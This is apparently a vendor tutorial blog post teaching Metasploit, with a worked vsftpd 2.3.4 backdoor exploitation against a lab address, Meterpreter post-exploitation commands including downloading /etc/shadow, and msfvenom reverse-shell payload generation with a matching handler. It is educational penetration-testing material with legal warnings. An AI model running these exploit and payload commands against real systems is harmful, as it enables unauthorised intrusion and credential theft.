Almost every hacking video you have ever watched has the same scene in it: a black terminal, a red ASCII cow or skull, someone typing exploit, and a root shell appearing. That is Metasploit, and it is the first serious offensive tool most people meet. It is also the tool most people learn badly, because the tutorials show the four commands that worked on one machine and never explain why. This guide teaches you how to use Metasploit properly: the model behind it, the seven commands that cover almost everything, one full exploit from scan to shell, and the errors that will eat your first week. Work through it alongside HackerDNA's Network Penetration Testing course, then take what you learn to the Internal lab, a live corporate network you get to break into from your browser.
Metasploit is one instrument in a much larger discipline, so if you are still building the map, our complete penetration testing guide shows where exploitation sits in the workflow. Every count and command below was checked against the Metasploit Framework source tree as it stands in August 2026, version 6.5.x.
TL;DR: Metasploit is a framework that turns "exploit this host" into four commands: search, use, set, exploit. Launch it with msfconsole, which is preinstalled on Kali. The framework ships 5,077 modules, 2,686 of them exploits, and the piece beginners misunderstand is the split between the exploit (the way in) and the payload (what runs after). Learn that distinction and most of your "no session was created" errors disappear.
What Is Metasploit?
Metasploit is an open-source exploitation framework: a library of prewritten attack code plus a console that handles the plumbing around it, such as building payloads, catching connections back, and managing the shells you land. Rapid7 maintains it, and the free Metasploit Framework is the version essentially everyone uses.
The word "framework" is the important half. Metasploit is not a scanner and not a single exploit. It is a common shape that thousands of unrelated attacks were rewritten into, so that a Samba bug from 2007 and a Confluence bug from last year are driven with the same handful of commands. Counting the module files in the current source tree gives the size of that library:
| Module type | Count | What it does |
|---|---|---|
| Exploits | 2,686 | Takes advantage of a specific flaw to run your code |
| Auxiliary | 1,332 | Scans, brute forces, enumerates. No payload involved |
| Payloads | 541 | The code that runs on the target once you are in |
| Post | 435 | Runs inside an existing session: loot, pivot, escalate |
| Encoders, NOPs, evasion | 83 | Reshapes payload bytes, mostly for bad character removal |
Those 2,686 exploits reference 2,519 distinct CVEs. Cross-referencing that list against the CISA Known Exploited Vulnerabilities catalog (version 2026.08.25, 1,676 entries) puts 434 of them on a US government list of flaws confirmed to be exploited in the wild. Roughly a quarter of everything CISA tells federal agencies to patch urgently has a working Metasploit module sitting behind a two-word search.
That is the honest case for learning it, and the section on where it falls short is the honest case against relying on it.
Install Metasploit and Start msfconsole
On Kali Linux, Metasploit is already there. Confirm it and note the version:
msfconsole --version
# Framework Version: 6.5.xOn Ubuntu, Debian or macOS, use Rapid7's nightly installer script rather than a distribution package, because distribution packages of Metasploit go stale fast. The script imports Rapid7's signing key and wires the package into your package manager, so msfupdate keeps working afterwards:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstallWindows has its own signed installer, linked from the nightly installers documentation.
Before your first launch, start the database. Metasploit runs without it, but you lose hosts, services, loot and cached search results:
sudo systemctl start postgresql
sudo msfdb init
msfconsoleOnce you are at the msf6 > prompt, check the connection with db_status. The first launch takes a while, because Metasploit builds its module cache. Later launches are fast.
One habit worth forming immediately: launch with msfconsole -q. The -q flag suppresses the random ASCII art banner. The banner is fun exactly twice.
Exploit, Payload, Session: The Model That Makes It Click
Nearly every beginner problem with Metasploit is really a confusion between three words. Get them straight and the tool stops feeling arbitrary.
The exploit is the way in. It abuses one specific bug in one specific piece of software to get the target to run bytes of your choosing. exploit/windows/smb/ms17_010_eternalblue is a way in through a 2017 flaw in Windows SMB.
The payload is what those bytes do. The exploit gets you the chance to execute something. The payload decides whether that something is a plain shell, a Meterpreter agent, or a single command that adds a user. Same door, different things walking through it.
The session is the result. When a payload phones home successfully, Metasploit registers a session you can interact with, background, and reuse.
Staged versus stageless payloads
This is the detail that trips up more beginners than anything else, and it hides in punctuation. Look at these two payload names:
windows/x64/meterpreter/reverse_tcp # staged (slash)
windows/x64/meterpreter_reverse_tcp # stageless (underscore)A staged payload is split in two. A tiny first-stage stager is delivered by the exploit, connects back to you, and downloads the real Meterpreter over that connection. It is small, which matters when the vulnerability only gives you a few hundred bytes of space.
A stageless payload ships whole. It is much larger, but it does not need a second round trip, so it survives flaky networks and situations where the target can only make one outbound connection.
In practice, start with staged. If your session opens and then dies within a second or two, or you see the handler start and nothing arrive, switch the slash to an underscore and try again. The framework carries 106 stagers and 48 stages that combine into the staged names, plus 323 standalone singles.
Reverse versus bind
A reverse_tcp payload makes the target connect out to you. A bind_tcp payload opens a listening port on the target and waits for you to connect in. Outbound is allowed far more often than inbound, so reverse is the default for good reason. Reach for bind only when the target cannot route back to you.
The Seven msfconsole Commands That Cover Almost Everything
Metasploit has hundreds of commands. Seven of them are 95% of your typing.
search- find a moduleuse- select itinfo- read what it actually doesshow options- see what it needs from youset- fill those incheck- ask whether the target is vulnerable, without firingexploit(orrun) - fire
Search properly, and stop scrolling
Typing search smb returns hundreds of rows you will not read. The search command takes filters, and almost nobody teaches them:
search cve:2017 type:exploit platform:windows
search type:exploit rank:excellent name:apache
search cve:2021-44228
search type:exploit platform:-windows # the minus excludes
search type:exploit -s disclosure_date -r # sort newest firstThe full keyword list includes cve, edb, author, port, arch, rank, check and att&ck, among others. Run search -h to see them all. If you arrived with a service version from an Nmap scan, searching by CVE or by port is the fastest route to the right module.
Read the rank before you use anything
Every exploit module carries a reliability rank assigned by its author against published criteria. Across the 2,686 exploits, the distribution looks like this:
| Rank | Modules | What the framework's own criteria say |
|---|---|---|
| Excellent | 1,390 (51.7%) | Will never crash the service. Command execution, SQLi, file inclusion |
| Great | 294 (10.9%) | Auto-detects the target or uses a version-checked return address |
| Good | 254 (9.5%) | Has a sane default target, but does not auto-detect |
| Normal | 476 (17.7%) | Reliable, but only against one specific version |
| Average | 165 (6.1%) | Generally unreliable or hard to exploit |
| Manual / Low | 100 (3.7%) | Under 15% success, or effectively a denial of service |
Half the catalog is command execution that will not knock the service over. The other half deserves a second thought before you point it at anything you care about. An Average-ranked memory corruption exploit against a client's production ERP is how you end a contract early.
check does not always mean what you think
check is the safest command in Metasploit: it tests for the flaw without exploiting it. But only 1,531 of the 2,686 exploit modules (57.0%) implement a check at all. The rest answer:
[*] This module does not support check.That is not "the target is safe". It is "nobody wrote this part". Read it as no information, not as a negative result.
How to Use Metasploit: Your First Exploit Start to Finish
Here is the whole loop against a deliberately vulnerable target. The example is the vsftpd 2.3.4 backdoor, CVE-2011-2523, which is the traditional first Metasploit kill because the story behind it is memorable: in mid-2011 someone compromised the vsftpd download server and slipped a backdoor into the release tarball. Any username ending in :) opened a root shell on port 6200. It sat in the official archive for three days.
Step 1 - find the service. Nmap first, always. Metasploit is the second tool you touch, never the first:
nmap -sV -p- 10.10.10.50
# 21/tcp open ftp vsftpd 2.3.4Step 2 - find the module. You have a product and a version, so search on the product:
msf6 > search vsftpd
# Name Rank Check Description
- ---- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor excellent Yes VSFTPD v2.3.4 Backdoor Command ExecutionStep 3 - select and inspect it. use takes the name or the index number from the last search:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > infoinfo is the step people skip and should not. It prints the rank, the CVE, the disclosure date, the authors, the targets, and a description of the actual mechanism. Sixty seconds of reading here saves you from firing a Windows 7 exploit at a Server 2019 box.
Step 4 - set what it needs.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.10.14.5RHOSTS is them. LHOST is you, and it is the single most common mistake in the entire tool. On a VPN it must be your VPN address, not your home LAN address. Get it from the interface directly:
ip addr show tun0 | grep inetStep 5 - check, then fire.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
[+] 10.10.10.50:21 - The target appears to be vulnerable.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.50:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 10.10.10.50:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.50:41352)
meterpreter > getuid
Server username: rootThat is the entire loop. Scan, search, use, set, check, exploit. Every module in the framework follows it, whether the target is an FTP daemon from 2011 or a Java deserialization bug from last quarter. The commands do not change, only the options do.
This module is a nice one to learn on because it has AutoCheck built in, one of 668 modules that verify the target before firing without you asking.
What to Do Once You Have a Meterpreter Session
Meterpreter is Metasploit's own payload: an agent that runs in memory on the target and speaks a structured protocol back to you, instead of piping a raw shell over a socket. That gets you file transfer, process control, screenshots and pivoting as first-class commands rather than shell gymnastics.
Orient yourself first. These four answer "where am I and who am I":
meterpreter > getuid # which account the payload is running as
meterpreter > sysinfo # OS, architecture, hostname
meterpreter > ifconfig # what other networks this host can see
meterpreter > ps # running processesThen move data and drop to a normal shell when you need one:
meterpreter > download /etc/shadow ./loot/
meterpreter > upload linpeas.sh /tmp/
meterpreter > shell # plain OS shell, Ctrl+Z to come back
meterpreter > background # park the session, return to msf6 promptBackgrounding is the habit that separates people who are comfortable in Metasploit from people who are not. Park the session, run something else, come back:
msf6 > sessions -l # list every session
msf6 > sessions -i 1 # go back into session 1With a session parked, the 435 post modules become available, and they run inside that session:
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > runThe local exploit suggester reads the target's OS and patch level and tells you which local privilege escalation modules might work. Treat its output as a shortlist to investigate, not a verdict. It is generous with suggestions and quiet about reliability, and half of what it proposes will not fire. The other half you find by hand, reading cron jobs, SUID binaries and sudo rules yourself.
When no module exists: msfvenom and multi/handler
Most real footholds are not a canned exploit. You find a file upload, or command injection, or credentials for an admin panel, and you need to bring your own payload. That is msfvenom, Metasploit's payload generator, paired with a bare listener:
# Generate the payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elf
# Catch it
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.5:4444The one rule: the PAYLOAD, LHOST and LPORT on the handler must match the ones you built into the file, exactly. A staged payload caught by a stageless handler produces a connection that opens and immediately dies, and the error message will not tell you why. Our msfvenom cheat sheet has copy-paste generators for every common format.
When Metasploit Is the Wrong Tool
Here is the part the vendor pages leave out. Metasploit's exploit catalog is old, and that is measurable. Reading the disclosure date out of all 2,686 exploit modules gives a median of 2013. Only 23.1% cover vulnerabilities disclosed in 2020 or later, and 11.8% cover 2023 or later.
That is not a criticism of the project, it is a description of what it is for. Metasploit is a superb archive of settled, well-understood exploitation, which is exactly what CTF boxes, training labs and neglected internal networks are built from. It is not where fresh exploitation happens. A vulnerability disclosed last Tuesday will have a proof of concept on GitHub weeks before it has a module, if it ever gets one.
Three more limits worth knowing before you build a habit around the tool:
- Certification exams restrict it. OffSec's OSCP rules permit Metasploit modules and the Meterpreter payload against exactly one exam target of your choosing, and once you pick that machine you are locked to it. The restriction extends to anything wrapping the framework. Check the current wording in the OSCP Exam Guide, and if you are working toward it, our OSCP preparation guide explains how to train around that constraint.
- It is loud. Default Meterpreter payloads and default ports are among the best-signatured artifacts in the industry, so any monitored network will notice. That is fine in labs and in most authorised tests. It just means Metasploit was never trying to be a stealth tool.
- Skip Armitage. The graphical front end still turns up in tutorials, but its last stable release was 13 August 2015, more than a decade of framework changes ago. Learn the console. It is what every write-up, every colleague and every exam assumes.
The strongest reason to learn manual exploitation alongside Metasploit is not exam rules anyway. It is that when a module fails, and modules fail constantly, you need to be able to read the exploit source and work out which of its assumptions your target broke.
Errors You Will Hit in Your First Week
These five account for most of the frustration.
| What you see | What it usually means |
|---|---|
Exploit completed, but no session was created | LHOST is wrong, a firewall dropped the callback, or the payload architecture does not match the target. Check LHOST against ip addr first, every time. |
This module does not support check | The module has no check method. 43% of exploits do not. Says nothing about the target. |
| Session opens, then dies in a second | Staged payload, unstable stage transfer. Switch to the stageless variant: meterpreter/reverse_tcp becomes meterpreter_reverse_tcp. |
No database support at startup | PostgreSQL is not running. sudo systemctl start postgresql && sudo msfdb init. |
Address already in use on the handler | An old handler still holds port 4444. jobs -l to list, jobs -k <id> to kill, or just pick a different LPORT. |
When testing against lab machines, the habit that saves the most time is boring: verify LHOST before you fire, not after. Switch between a VPN and a local network and the address changes, but Metasploit keeps whatever you set last. Keep HackerDNA's Metasploit cheat sheet open beside the console while you work.
Legal and Ethical Considerations
Critical reminder: Always get explicit written authorization before testing any system. Running an exploit against a host you do not own or have permission to test is a criminal offense in most countries, including under the Computer Fraud and Abuse Act in the US and the Computer Misuse Act in the UK.
Metasploit lowers the effort of exploitation to four commands. It does not lower the legal threshold at all. The framework is a professional tool used under contract, and the difference between a penetration tester and a defendant is a signed scope document.
- Practice only on targets built for it: HackerDNA labs, deliberately vulnerable virtual machines you host yourself, or platforms you have an account with.
- Never point a module at an IP address you found by scanning the internet, however open it looks.
- Read the rank before firing on any authorised engagement. An Average-ranked exploit that crashes a production service is a real outage with real cost.
- Record what you ran and when. If a service falls over an hour later, your log is what proves it was not you.
Frequently Asked Questions About Metasploit
Is Metasploit used by real hackers?
Yes, on both sides. Penetration testers and red teams use it under contract because it standardizes exploitation and reporting, and criminal groups use it because it is free and effective. It is also the reason so many detection rules exist for default Meterpreter behaviour: the tool is used so widely that defenders have tuned specifically for it.
What is the difference between Metasploit and msfconsole?
Metasploit is the framework, meaning the module library plus the code that drives it. Msfconsole is the interactive command-line interface you use to talk to it, and it is the interface essentially all documentation assumes. Msfvenom and msfdb are separate command-line tools that ship with the same framework.
Is Metasploit free?
The Metasploit Framework is free and open source under the 3-clause BSD license, and it includes every module discussed here. Rapid7 also sells Metasploit Pro, which adds a web interface, task chains, reporting and social engineering campaign tooling. For learning, CTFs and most consulting work, the free framework is the complete tool.
Do I need Kali Linux to run Metasploit?
No. Kali just ships it preinstalled and preconfigured, which removes a setup step. Rapid7's nightly installer puts the same framework on Ubuntu, Debian, macOS and Windows. What you do need is a machine the target can reach on the network, which is why beginners on Windows often still run it inside a Linux VM.
What is the difference between a shell and a Meterpreter session?
A shell session is a raw command interpreter piped over a socket, the same as if you caught it with Netcat. A Meterpreter session runs Metasploit's own agent in memory, giving you structured commands for file transfer, process control, pivoting and post modules. Meterpreter is more capable, larger, and far more likely to be flagged by security software.
Why does my exploit say it completed but no session was created?
In most cases the payload ran but could not reach you. Check that LHOST is the address on the interface facing the target, not your home LAN address, then check that nothing is filtering the port you chose. If both look right, the payload architecture may not match the target: a 64-bit payload against a 32-bit process will not run.
Your Next Steps
You now know how to use Metasploit as more than a set of memorised keystrokes: start msfconsole -q, search with filters instead of scrolling, read the rank and the info page, keep the exploit and the payload separate in your head, and check LHOST before every shot. That is the whole workflow, and it does not change as the targets get harder.
The fastest way to make it stick is to land sessions on real targets. Start with the Internal lab, where you enumerate a corporate network, exploit a service and escalate to root, then work through the Network Penetration Testing course chapter by chapter for the enumeration that has to happen before any exploit is worth trying. Everything runs in your browser, and the free tier needs no credit card and no VM.
Then go break something you are allowed to break.
Part of the Penetration Testing series
Related articles:
